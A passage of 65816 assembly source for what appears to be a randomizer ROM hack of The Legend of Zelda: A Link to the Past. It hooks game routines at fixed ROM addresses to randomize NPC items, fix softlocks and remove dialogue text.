#6\n;--------------------------------------------------------------------------------\n;org $02D61A ; <- 1561A\n;LDA.b #$01 : STA $1B ; fix something i wrote over i shouldn't have\n;--------------------------------------------------------------------------------\norg $1ED379 ; <- F5379 - sprite_agahnim.asm:75 - JSL PrepDungeonExit\nJSL FixAgahnimFollowers\n;================================================================================\n\n;================================================================================\n; Randomize NPC Items\n;--------------------------------------------------------------------------------\norg $028823 ; <- 10823 - Bank02.asm:1560 (LDA $7EF3C5 : BEQ .ignoreInput)\nJSL.l AllowSQ\n;--------------------------------------------------------------------------------\norg $08C45F ; <- 4445F - ancilla_recieve_item.asm:157 (STZ $02E9)\nJSL.l PostItemAnimation : NOP #2\n;--------------------------------------------------------------------------------\norg $1EE90A ; <- F690A\nJSL.l ItemCheck_OldMan\nNOP #2\n;--------------------------------------------------------------------------------\norg $0280F2 ; <- 100F2\nJSL.l ItemCheck_OldMan\nNOP #2\n;--------------------------------------------------------------------------------\norg $1EE9FE ; <- F69FE\nJSL.l ItemSet_OldMan\n;--------------------------------------------------------------------------------\norg $068F16 ; <- 30F16\nJSL.l ItemCheck_ZoraKing\n;--------------------------------------------------------------------------------\norg $059ACA ; <- 29ACA\nJSL $1DE1AA ; Sprite_SpawnFlippersItem\n;--------------------------------------------------------------------------------\norg $1DE1E4 ; <- EE1E4 - sprite_great_catfish.asm : 489\nJSL.l LoadZoraKingItemGFX\nNOP #2\n;--------------------------------------------------------------------------------\norg $1DE1A1 ; <- EE1A1 - sprite_great_catfish.asm : 45\nJSL.l LoadCatfishItemGFX\nNOP #2\n;--------------------------------------------------------------------------------\norg $068D86 ; <- 30D86\nJSL.l ItemCheck_SickKid\n;--------------------------------------------------------------------------------\norg $06B9D4 ; <- 339D4 - sprite_bug_net_kid.asm : 111 (JSL Link_ReceiveItem)\nJSL.l ItemSet_SickKid\n;--------------------------------------------------------------------------------\norg $068BAC ; <- 30BAC - SpritePrep_FluteBoy : 1068\nJSL.l ItemCheck_TreeKid2\n\norg $06908D ; <- 3108D - SpritePrep_FluteBoy : 2175\nJSL.l ItemCheck_TreeKid\nCMP.b #$08\nBEQ $0A\n\norg $069095 ; <- 31095 - SpritePrep_FluteBoy : 2177\nJSL.l ItemCheck_TreeKid\nCMP.b #$08\n\norg $0690BD ; <- 310BD - SpritePrep_FluteBoy : 2202\nJSL.l ItemCheck_TreeKid2\n\norg $06AF9B ; <- 32F9B - FluteBoy_Chillin : 73 : LDA $7EF34C : CMP.b #$02 : BCS .player_has_flute\n;NOP #8\nLDA !HAS_GROVE_ITEM : AND.b #$01\ndb #$D0 ; BNE\n\norg $06B062 ; <- 33062 - FluteAardvark_InitialStateFromFluteState : 225 : LDA $7EF34C : AND.b #$03 : !BGE #$05\nJSL.l ItemCheck_TreeKid2\nNOP #$02 ; remove pointless AND\n\norg $06B048 ; <- 33048\nJSL.l ItemCheck_TreeKid3\n\norg $06AF59 ; <- 32F59 - sprite_flute_boy.asm : 36 (LDA $0D80, X : CMP.b #$03 : BEQ .invisible)\nJML.l FluteBoy\nFluteBoy_Abort:\nRTS\nFluteBoy_Continue:\n\n;org $1E9968 ; <- F1968 - sprite_flute_boy_ostrich.asm : 14 (dw FluteBoyOstrich_Chillin)\n;dw #$9991 ; FluteBoyOstrich_RunAway\n;--------------------------------------------------------------------------------\norg $06B0C9 ; <- 330C9\nJSL.l ItemSet_TreeKid\n;--------------------------------------------------------------------------------\norg $05F177 ; <- 2F177\nJSL.l ItemCheck_Sahasrala\n;--------------------------------------------------------------------------------\norg $05F200 ; <- 2F200\nJSL.l ItemSet_Sahasrala\n;--------------------------------------------------------------------------------\norg $1DE102 ; <- EE102\nJSL.l ItemCheck_Catfish\norg $1DE11C ; <- EE11C\nJSL.l ItemCheck_Catfish\n;--------------------------------------------------------------------------------\norg $1DE1A1 ; <- EE1A1 - sprite_great_catfish.asm : 445\nJSL.l LoadCatfishItemGFX\nNOP #2\n;--------------------------------------------------------------------------------\norg $1DDF49 ; <- EDF49 - sprite_great_catfish.asm : 19\nJML.l JumpToSplashItemTarget : NOP\norg $1DDF4E ; <- EDF4E - sprite_great_catfish.asm : 21\nSplashItem_SpawnSplash:\norg $1DDF52 ; <- EDF52 - sprite_great_catfish.asm : 27\nSplashItem_SpawnOther:\norg $1DE228 ; <- EE228 - sprite_great_catfish.asm : 290\nLDA.b #$FF\n;--------------------------------------------------------------------------------\norg $1DDF81 ; <- EDF81 - sprite_great_catfish.asm : 61\nJSL.l DrawThrownItem\n;--------------------------------------------------------------------------------\n;org $1DE1B0 ; <- EE1B0 - sprite_great_catfish.asm : 461\n;NOP #2\n;--------------------------------------------------------------------------------\norg $05EE53 ; <- 2EE53 - mushroom.asm : 22\nJSL.l ItemCheck_Mushroom\nNOP #2\n;--------------------------------------------------------------------------------\norg $05EE8C ; <- 2EE8C - mushroom.asm : 69\nJSL.l ItemSet_Mushroom\nNOP\n;--------------------------------------------------------------------------------\norg $05F53E ; <- 2F53E - sprite_potion_shop.asm : 40\nJSL.l ItemCheck_Powder\nCMP.b #$20\n;--------------------------------------------------------------------------------\n; the quake medallion AND FLIPPERS\norg $1DDF71 ; <- EDF71 - sprite_great_catfish.asm : 47\nJSL.l MarkThrownItem\n;--------------------------------------------------------------------------------\n;org $05F65D ; <- 2F65D - DONE IN INVENTORY\n;JSL.l ItemSet_Powder\n;NOP #2\n;--------------------------------------------------------------------------------\n;JSL.l ItemCheck_RupeeNPC\n;--------------------------------------------------------------------------------\n;JSL.l ItemSet_RupeeNPC\n;--------------------------------------------------------------------------------\n;org $08D01B ; PC 0x4501B - ancilla_flute.asm - 55\n;JSL.l ItemSet_Flute\n;--------------------------------------------------------------------------------\norg $05FAFF ; <- 2FAFF - sprite_mad_batter.asm:57 (LDA $7EF37B : CMP.b #$01 : BCS .magic_already_doubled)\nJSL.l ItemCheck_MagicBat : BEQ + : RTS : NOP : +\n;================================================================================\n\n\n;================================================================================\n; Boss Hearts\n;--------------------------------------------------------------------------------\norg $05EF5D ; <- 2EF5D - sprite_heart_upgrades.asm:110 (JSL GetAnimatedSpriteTile.variable)\nJSL.l HeartContainerSpritePrep\n;--------------------------------------------------------------------------------\norg $05EF79 ; <- 2EF79 - sprite_heart_upgrades.asm:128 (JSL Sprite_PrepAndDrawSingleLargeLong)\nJSL.l DrawHeartContainerGFX\n;--------------------------------------------------------------------------------\norg $05EFCE ; <- 2EFCE - sprite_heart_upgrades.asm:176 (JSL Link_ReceiveItem)\n;org $05EFEE ; <- 2EFEE - sprite_heart_upgrades.asm:202 (JSL Link_ReceiveItem)\nJSL.l HeartContainerGet\n;--------------------------------------------------------------------------------\n;--------------------------------------------------------------------------------\norg $0799B1 ; 399B1 - Bank07.asm:4063 (CPY.b #$3E : BNE .notHeartContainer)\nJSL.l HeartContainerSound\nBCC Link_ReceiveItem_notHeartContainer\n; JSR Player_DoSfx3\norg $0799BA ; 399BA - Bank07.asm:4070 (LDA.b #$60 : STA $02D9)\nLink_ReceiveItem_notHeartContainer:\n;--------------------------------------------------------------------------------\norg $09887F ; <- 4887F - ancilla_init.asm : 1163 (LDA $0C5E, X : CMP.b #$3E : BEQ .doneWithSoundEffects)\nJSL NormalItemSkipSound\nNOP\nBCS AddReceivedItem_doneWithSoundEffects\norg $0988AE ; <- 488AE - ancilla_init.asm : 1193 (LDA.b #$0A : STA $02)\nAddReceivedItem_doneWithSoundEffects:\n;================================================================================\n; Heart Pieces\n;--------------------------------------------------------------------------------\norg $05F030 ; <- 2F030 - display item\nJSL.l DrawHeartPieceGFX\n;--------------------------------------------------------------------------------\norg $05F08A ; <- 2F08A - sprite_heart_upgrades.asm : 324 - (LDA $7EF36B : INC A : AND.b #$03 : STA $7EF36B : BNE .got_4_piecese) item determination\nJSL.l HeartPieceGet\nBCS $18 ; reinsert the near branch that appears midway through what we overrode\nNOP #22\n;--------------------------------------------------------------------------------\norg $06C0B0 ; <- 340B0 - sprite prep\nJSL.l HeartPieceSpritePrep\n;--------------------------------------------------------------------------------\norg $08C45B ; <- 4445B - ancilla_receive_item.asm : 152\nJSL.l HPItemReset\n;--------------------------------------------------------------------------------\norg $05EF1E ; <- 2EF1E - sprite_heart_upgrades.asm : 48 (LDA $7EF280, X : AND.b #$40 : BEQ .dont_self_terminate)\nJSL.l HeartUpgradeSpawnDecision\n;--------------------------------------------------------------------------------\norg $05EFFA ; <- 2EFFA - sprite_heart_upgrades.asm : 216 (LDA $7EF280, X : ORA.b #$40 : STA $7EF280, X)\nJSL.l SaveHeartCollectedStatus\nNOP #6\n;================================================================================\n\n;================================================================================\n; Fake Flippers Softlock Fix + General Damage Hooks\n;--------------------------------------------------------------------------------\norg $078091 ; <- 38091 - Bank07.asm:138 (LDA $037B : BNE .linkNotDamaged)\nLDA $0373 : STA $00 : STZ $0373 ; store and zero damage\nLDA $037B : BNE LinkDamaged_linkNotDamaged ; skip if immune\n;--------------------------------------------------------------------------------\norg $0780C6 ; <- 380C6 - Bank07.asm:174 (LDA $7EF36D)\nJSL.l OnLinkDamaged\n;--------------------------------------------------------------------------------\norg $0780FB ; <- 380FB - Bank07.asm:207 (.linkNotDamaged)\nLinkDamaged_linkNotDamaged:\n;--------------------------------------------------------------------------------\norg $0794FB ; <- 394FB - Bank07.asm:3336 (LDA.b #$14 : STA $11)\nJSL.l OnLinkDamagedFromPit\n;--------------------------------------------------------------------------------\n; org $01FFE7 ; <- FFE7 - Bank01.asm:16375 (LDA $7EF36D)\n; JSL.l OnLinkDamagedFromPitOutdoors\n; commenting this out, since it is for OHKO-mode in LttP. it jumps to an RTL\n; which currently does nothing. as a result, it sets Link's hearts to 4.5\n; when you jump off the bridge on death mountain\n;--------------------------------------------------------------------------------\norg $078F27 ; <- 38F27\nJSL.l FlipperReset\n;--------------------------------------------------------------------------------\norg $09F40B ; <- 4F40B - module_death.asm:222 (LDX.b #$00)\nJSL.l IgnoreFairyCheck\n;--------------------------------------------------------------------------------\norg $078F51 ; <- 38F51 - Bank07.asm:2444 (JSR $AE54 ; $3AE54 IN ROM)\nJSL.l OnEnterWater : NOP\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Floodgate Softlock Fix\n;--------------------------------------------------------------------------------\norg $0AB8E5 ; <- 538E5\nJSL.l FloodGateAndMasterSwordFollowerReset\nJSL.l IncrementFlute\nNOP #32\n;--------------------------------------------------------------------------------\norg $02AA87 ; <- 12A87\nJSL.l OnOWTransition\nNOP #36\n;================================================================================\n\n;================================================================================\n; Add SFX\n;--------------------------------------------------------------------------------\norg $1DFDA8 ; <- EFDA9 - sprite_digging_game_guy.asm:309 (STA $7FFE00)\nJSL.l SpawnShovelGamePrizeSFX\n;--------------------------------------------------------------------------------\n;org $01EEB6 ; <- EEB6 - Bank01.asm:14138 (ORA.b #$40 : STA $0403)\norg $01EECD ; <- EECD - Bank01.asm:14160 (LDA.b #$0E : STA $012F)\nJSL.l SpawnChestGamePrizeSFX : NOP\n;================================================================================\n\n;================================================================================\n; Heart Beep Timer\n;--------------------------------------------------------------------------------\norg $0DDC9B ; <- 6DC9B\nJSL.l BeepLogic\nNOP #6\n;================================================================================\n\n;================================================================================\n; Item Downgrade Fix\n;--------------------------------------------------------------------------------\norg $09865E ; <- 4865E\nJSL.l $1BEE1B ; fix something i wrote over i shouldn't have\n;--------------------------------------------------------------------------------\norg $098638 ; <- 48638 - ancilla_init.asm:737 - LDA .item_values, Y : BMI .dontWrite (BMI)\nJSL.l ItemDowngradeFix\n;================================================================================\n\n;================================================================================\n; Lamp Mantle & Light Cone Fix\n;--------------------------------------------------------------------------------\norg $1AFC4D ; <- D7C4D - sprite_movable_mantle.asm:31 (LDA $7EF3CC : CMP.b #$01 : BNE .return)\nJSL.l CheckForZelda\n;--------------------------------------------------------------------------------\norg $1AFC55 ; <- D7C55 - sprite_movable_mantle.asm:34 (LDA $7EF34A : BEQ .return)\nNOP #6 ; remove check\n;--------------------------------------------------------------------------------\norg $068841 ; <- 30841 - sprite_prep.asm:269 (LDA $0D00, X : ADD.b #$03 : STA $0D00, X)\nJSL.l Mantle_CorrectPosition : NOP #2\n;--------------------------------------------------------------------------------\norg $0DFA53 ; <- 6FA53 - hud check for lantern\nJSL.l LampCheck\n;--------------------------------------------------------------------------------\norg $01F503 ; <- F503 - Bank01.asm:14994 (LDA.b #$01 : STA $1D)\nJSL.l SetOverlayIfLamp\n;================================================================================\n\n; ;================================================================================\n; ; Overworld Door Frame Overlay Fix\n; ;\n; ; When entering an overworld entrance, if it is an entrance to a simple cave, we\n; ; store the overworld door id, then use that (instead of the cave id) to determine the\n; ; overlay to draw when leaving the cave again. We also use this value to\n; ; identify the tavern entrance to determine whether link should walk up or down.\n; ;--------------------------------------------------------------------------------\n; org $1BBD5F ; <- Bank1b.asm:296 (LDA $1BBB73, X : STA $010E)\n; JSL.l StoreLastOverworldDoorID\n; NOP #3\n; ;--------------------------------------------------------------------------------\n; org $02D754 ; <- Bank02.asm:10847 (LDA $D724, X : STA $0696 : STZ $0698)\n; JSL.l CacheDoorFrameData\n; NOP #5\n; ;--------------------------------------------------------------------------------\n; org $0298AD ; <- Bank02.asm:4495 (LDA $010E : CMP.b #$43)\n; JSL.l WalkDownIntoTavern\n; NOP #1\n; ;================================================================================\n\n;================================================================================\n; Music fixes\n;--------------------------------------------------------------------------------\norg $0282F4 ; <- Bank02.asm:654 (LDY.b #$58 ...)\nJML.l PreOverworld_LoadProperties_ChooseMusic\norg $028389 ; <- Bank02.asm:763\nPreOverworld_LoadProperties_SetSong:\n;--------------------------------------------------------------------------------\norg $05CC58 ; <- Bank05.asm:1307 (LDA $040A : CMP.b #$18)\nJSL PsychoSolder_MusicCheck\nNOP #1\n;================================================================================\n\n;================================================================================\n; Hooks for roomloading.asm\n;--------------------------------------------------------------------------------\norg $02895D ; <- Bank02.asm:1812 (JSL Dungeon_LoadRoom)\n JSL LoadRoomHook\n;--------------------------------------------------------------------------------\norg $028BE7 ; <- Bank02.asm:2299 (JSL Dungeon_LoadRoom)\n JSL LoadRoomHook_noStats\n;--------------------------------------------------------------------------------\norg $029309 ; <- Bank02.asm:3533 (JSL Dungeon_LoadRoom)\n JSL LoadRoomHook_noStats\n;--------------------------------------------------------------------------------\norg $02C2F3 ; <- Bank02.asm:10391 (JSL Dungeon_LoadRoom)\n JSL LoadRoomHook_noStats\n;================================================================================\n\n;================================================================================\n; Hooks into the \"Reloading all graphics\" routine\n;--------------------------------------------------------------------------------\norg $00E64D ; <- Bank00.asm:5656 (STZ $00 : STX $01 : STA $02)\n JML BgGraphicsLoading\n BgGraphicsLoadingCancel:\n RTS : NOP\n BgGraphicsLoadingResume:\n;================================================================================\n\n;================================================================================\n; Hook when updating the floor tileset in dungeons (such as between floors)\n;--------------------------------------------------------------------------------\norg $00DF62 ; <- Bank00.asm:4672 (LDX.w #$0000 : LDY.w #$0040)\n JML ReloadingFloors\n NOP : NOP\n ReloadingFloorsResume:\norg $00DF6E ; <- A few instructions later, right after JSR Do3To4High16Bit\n ReloadingFloorsCancel:\n;================================================================================\n\n; ;================================================================================\n; ; Hook bow use - to use rupees instead of actual arrows\n; ;--------------------------------------------------------------------------------\n; org $07A055 ; <- Bank07.asm:5205 (LDA $0B99 : BEQ BRANCH_DELTA)\n; JSL.l ArrowGame : NOP #14\n\n; org $07A06C ; <- Bank07.asm:5215 (LDA $7EF377 : BEQ BRANCH_EPSILON)\n; JSL.l DecrementArrows : SKIP 2 : NOP : LDA $7EF377\n; ;================================================================================\n\n;================================================================================\n; Quick Swap\n;--------------------------------------------------------------------------------\norg $0287FB ; <- 107FB - Bank02.asm:1526 (LDA $F6 : AND.b #$40 : BEQ .dontActivateMap)\nJSL.l QuickSwap\n\norg $02A451 ; <- 12451 - Bank02.asm:6283 (LDA $F6 : AND.b #$40 : BEQ .xButtonNotDown)\nJSL.l QuickSwap\n;================================================================================\n\n;================================================================================\n; Tagalong Fixes\n;--------------------------------------------------------------------------------\norg $0689AB ; <- 309AB - sprite_prep.asm: 647 (LDA $7EF3CC : CMP.b #$06 : BEQ .killSprite)\n; Note: In JP 1.0 we have: (CMP.b #$00 : BNE .killSprite) appling US bugfix\n; Prevent followers from causing blind\/maiden to despawn:\nCMP.b #$06 : db #$F0 ; BEQ\n;--------------------------------------------------------------------------------\n;Control which doors frog\/smith can enter\norg $1BBCF0 ; <- DBCF0 - Bank1B.asm: 248 (LDA $04B8 : BNE BRANCH_MU)\nOverworld_Entrance_BRANCH_LAMBDA: ; Branch here to show Cannot Enter with Follower message\n\norg $1BBD55 ; <- DBD55 - Bank1B.asm: 290 (CPX.w #$0076 : BCC BRANCH_LAMBDA)\nJML.l SmithDoorCheck : NOP\nOverworld_Entrance_BRANCH_RHO: ; branch here to continue into door\n;================================================================================\n\n; ;================================================================================\n; ; Paradox Cave Shopkeeper Fixes\n; ;--------------------------------------------------------------------------------\n; org $008C19 ; Bank00.asm@1633 (LDA.b #$01 : STA $420B)\n; JSL ParadoxCaveGfxFix\n; NOP\n\n;-- Extended sprite sheets\n;\norg $00e7b2 ; - bank00.asm : 5847\njml Decomp_spr_high_extended\n\norg $00e7de\nDecomp_spr_high_extended_return:\n\n;================================================================================\n; Text Removal\n;--------------------------------------------------------------------------------\n;-- Music restarting at zelda fix\norg $05ED10 ; <- 2ED10 - sprite_zelda.asm : 233 - (LDA.b #$19 : STA $012C)\nNOP #5\n;--------------------------------------------------------------------------------\norg $1ECE47 ; <- F4E47 - sprite_crystal_maiden.asm : 220\nJML.l MaidenCrystalScript\n;--------------------------------------------------------------------------------\norg $1ECCEB ; <- F4CEB - sprite_crystal_maiden.asm : 25 ; skip all palette nonsense\nJML.l SkipCrystalPalette\n;;;org $1ECD39\n;;;SkipCrystalPalette:\n;--------------------------------------------------------------------------------\norg $08C3FD ; <- 443FD - ancilla_receive_item.asm : 89\n!MS_GOT = \"$7F5031\"\nLDA #$40 : STA !MS_GOT\n;;NOP #6 ; don't set master sword follower\n;--------------------------------------------------------------------------------\norg $08C5FE ; <- 445FE - ancilla_receive_item.asm : 408\nNOP #4\n;--------------------------------------------------------------------------------\norg $1ED467 ; <- F5467 - sprite_agahnim.asm : 202\nNOP #4\n;--------------------------------------------------------------------------------\norg $1ED4FF ; <- F54FF - sprite_agahnim.asm : 328\nNOP #4\n;--------------------------------------------------------------------------------\n;org $029C94 ; <- 11C94 - Bank02.asm : 5197 (JSL Main_ShowTextMessage)\n;NOP #4\n;--------------------------------------------------------------------------------\norg $029CBD ; <- 11CBD - Bank02.asm : 5227 (JSL Messaging_Text)\nSTZ $11\nNOP #2\n;--------------------------------------------------------------------------------\n;org $029CD3 ; <- 11CD3 - Bank02.asm : 5237 (BNE BRANCH_BETA)\n;db $80 ; BRA\n;--------------------------------------------------------------------------------\norg $029CDF ; <- 11CDF - Bank02.asm : 5245 (JSL Main_ShowTextMessage)\nNOP #4\n;--------------------------------------------------------------------------------\norg $029CF0 ; <- 11CF0 - Bank02.asm : 5266\nSTZ $11\nNOP #2\n;--------------------------------------------------------------------------------\norg $05FB70 ; <- 2FB70 - sprite_mad_batter.asm:131 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;--------------------------------------------------------------------------------\norg $05FBC2 ; <- 2FBC3 - sprite_mad_batter.asm:195 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;--------------------------------------------------------------------------------\n;org $05F16C ; <- 2F16C - sprite_elder.asm : 137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show)\n;NOP #4\n;--------------------------------------------------------------------------------\n;org $05F190 ; <- 2F190 - sprite_elder.asm : 170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n;NOP #4\n;--------------------------------------------------------------------------------\n;org $05F1A8 ; <- 2F1A8 - sprite_elder.asm : 182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n;NOP #4\n;--------------------------------------------------------------------------------\n;org $05F1BC ; <- 2F1BC - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n;NOP #4\n;--------------------------------------------------------------------------------\n;org $05F1CE ; <- 2F1CE - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n;NOP #4\n;--------------------------------------------------------------------------------\n;-- Old mountain man healing text\norg $1EEAD7 ; F6AD7 sprite_old_mountain_man.asm : (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n;--------------------------------------------------------------------------------\n;-- Priest healing text\norg $05DE11 ; 2DE11 sprite_uncle_and_priest.asm : 720 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .gamma)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n;--------------------------------------------------------------------------------\n;-- zelda's heal text\norg $05EE38 ; <- 2ee38 sprite_zelda.asm : 474 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n;--------------------------------------------------------------------------------\n;-- zelda in jail\norg $05ED06 ; <- 2ED06 sprite_zelda.asm : 227 - (JSL Sprite_ShowMessageUnconditional)\nSTZ $1CE8 : NOP\norg $05ED27 ; <- 2ED27 sprite_zelda.asm : 256 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\norg $05ED35 ; <- 2ED35 sprite_zelda.asm : 272 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------\n;-- sanctuary\norg $05DD83 ; <- 2DD83 sprite_uncle_and_priest.asm : 608 - (JSL Sprite_ShowMessageUnconditional)\nSTZ $1CE8 : NOP\norg $05EDC8 ; <- 2EDC8 sprite_zelda.asm : 388 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\norg $05DDAB ; <- 2DDAB sprite_uncle_and_priest.asm : 635 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------\n;-- Sick Kid\norg $06B9C6 ; <- 339C6 sprite_bug_net_kid.asm : 92 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------\n;-- Hobo\norg $06BE5F ; <- 33E5F sprite_hobo.asm : 121 - (JSL Sprite_ShowMessageUnconditional)\nNop #4\n;----------------------------------------------------------\n;-- Sahasrahla\norg $05F190 ; <- 2F190 sprite_elder.asm : 154 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show_2) - \"Blah blah blah, take the boots\"\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\norg $05F212 ; <- 2F212 sprite_elder.asm : 261 - (JSL Sprite_ShowMessageUnconditional) - \"Gave you the boots but I'm not doing talking yet\"\nNOP #4\norg $05F1ED ; <- 2F1ED sprite_elder.asm : 225 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------------\n;-- Shopkeepers\norg $1EEF7C ; <- F6F7C sprite_shopkeeper.asm : 85 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\norg $1EF375 ; <- F7375 sprite_shopkeeper.asm : 810 (JSL Sprite_ShowMessageUnconditional : JSL ShopKeeper_RapidTerminateReceiveItem)\nNOP #8\n;----------------------------------------------------------\n;-- Bomb shop guy (buying small bombs, and buying big bomb)\norg $1EE1C0 ; <- F61C0 sprite_bomb_shop_entity.asm : 120 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\norg $1EE208 ; <- F6208 sprite_bomb_shop_entity.asm : 178 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;-- Text hook for the actual npc\norg $1EE181 ; <- F6181 sprite_bomb_shop_entity.asm : 85 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\n;;;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Alt\n;----------------------------------------------------------\n;-- Catfish\norg $1DE112 ; <- EE112 sprite_great_catfish.asm : 341 (JSL Sprite_ShowMessageMinimal)\nNOP #4\n;----------------------------------------------------\n;-- King Zora\norg $059A7D ; <- 29A7D sprite_zora_king.asm : 223 - (JSL Sprite_ShowMessageMinimal)\nSTZ $1CE8 : NOP\n;----------------------------------------------------\n;-- Before Agah 1 fight\norg $1DD299 ; <- ED299 sprite_chatty_agahnim.asm : 111 (JSL Sprite_ShowMessageMinimal)\nNOP #4\norg $1DD35E ; <- ED35E sprite_chatty_agahnim.asm : 253 (JSL Sprite_ShowMessageMinimal)\nNOP #4\n;----------------------------------------------------\n;-- Blind Maiden (in jail)\n;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak)\n;NOP #4\n;----------------------------------------------------\n;-- Blind (Maiden) in Jail\norg $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak)\nJSL Sprite_ShowMessageFromPlayerContact_Edit\n;----------------------------------------------------\n;-- Kiki\norg $1EE3E6 ; <- F63E6 sprite_kiki.asm : 157 pay kiki 10 rupees\nSTZ $1CE8 : NOP\norg $1EE400 ; <- F6400 sprite_kiki.asm : 178 thanks for giving kiki rupees\nNOP #4\norg $1EE4FB ; <- F64FB sprite_kiki.asm : 340 pay 100 rupees\nSTZ $1CE8 : NOP\norg $1EE523 ; <- F6523 sprite_kiki.asm : 373 kiki will open door\nNOP #4\n\n;org $1EE414 ; <- F6414 sprite_kiki.asm : 193 don't have 10 rupees\n;NOP #4\n;org $1EE50C ; <- F650C sprite_kiki.asm : 356 don't have 100 rupees\n;NOP #4\n;----------------------------------------------------\n;-- Witch\norg $05E4FB ; <- 2E4FB sprite_witch.asm : 165 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\nNOP #4\n;----------------------------------------------------\n;-- Breaking Ganon's Tower Seal\norg $08CD3A ; <- 44D3A ancilla_break_tower_seal.asm : 55 (JSL Main_ShowTextMessage)\nNOP #4\n;----------------------------------------------------\n;-- Bombos tablet\norg $05F3BF ; <- 2F3BF sprite_medallion_tablet.asm : 254 (JSL Sprite_ShowMessageUnconditional)\nJSL.l DialogBombosTablet\n;----------------------------------------------------\n;-- Ether tablet\norg $05F429 ; <- 2F429 sprite_medallion_tablet.asm : 317 (JSL Sprite_ShowMessageUnconditional)\nJSL.l DialogEtherTablet\n;----------------------------------------------------\n;-- Agahnim 1 Defeated\norg $068475 ; <- 30475 Bank06.asm : 762 - (JSL Sprite_ShowMessageMinimal)\n;;;JSL.l AddInventory_incrementBossSwordLong\n;NOP #4\n;----------------------------------------------------\n;-- Old Mountain Man Encounter Text\norg $1EE9BC ; <- sprite_old_mountain_man.asm : 157 - (Sprite_ShowMessageFromPlayerContact)\nJSL Sprite_ShowMessageFromPlayerContact_Edit\n\norg $09A67D ; <- 4A67D tagalong.asm : 1152 (JSL OldMountainMan_TransitionFromTagalong)\nJML OldMountainMan_TransitionFromTagalong_Edit\n;----------------------------------------------------------\n;-- Purple Chest Encounter Text\norg $1EE0E7 ; <- F60E7 sprite_thief_chest.asm : 16 (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_touch)\nJSL Sprite_ShowMessageFromPlayerContact_Edit\n;----------------------------------------------------------\n;-- Middle aged man opens purple chest\norg $06BD44 ; <- 33D44 sprite_middle_aged_man.asm : 107 (JSL Sprite_ShowMessageFromPlayerContact : BCC .return)\nJSL Sprite_ShowMessageFromPlayerContact_Edit\n;----------------------------------------------------------\n;-- Smiths\n;-- Ribbit\norg $06B2AA ; <- 332AA sprite_smithy_bros.asm : 152 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n\n;-- Ask us to do anything\norg $06B418 ; <- 33418 sprite_smithy_bros.asm : 371 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .player_didnt_speak)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n\n;-- Your sword is tempered!\norg $06B538 ; <- 33538 sprite_smithy_bros.asm : 602 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .no_player_dialogue)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n\n;-- Brought dwarf home\norg $06B438 ; <- 33438 sprite_smithy_bros.asm : 399 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n\n;-- 10 rupees to temper\norg $06B470 ; <- 33470 sprite_smithy_bros.asm : 447 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n\n;-- Yes, I'm sure\norg $06B495 ; <- 33495 sprite_smithy_bros.asm : 479 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n\n;-- We'll take your sword\norg $06B4F3 ; <- 334F3 sprite_smithy_bros.asm : 556 (JSL Sprite_ShowMessageUnconditional)\nJSL ItemSet_SmithSword\n;NOP #4\n\n;-- Smiths can't make your sword any stronger\norg $06B4A1 ; <- 334A1 sprite_smithy_bros.asm : 491 - (Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------------\n;-- Not enough magic text\norg $07B0CC ; <- 3B0CC Bank07.asm : 7767 - (JSL Main_ShowTextMessage)\nNOP #4\n;----------------------------------------------------------\n;-- Witch's Assistant\norg $05F8E7 ; <- 2F8E7 sprite_potion_shop.asm : 603 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\norg $05F8F5 ; <- 2F8F5 sprite_potion_shop.asm : 620 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n;----------------------------------------------------------\n;-- Bottle Vendor\norg $05EAE3 ; <- 2EAE3 sprite_bottle_vendor.asm : 104 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC 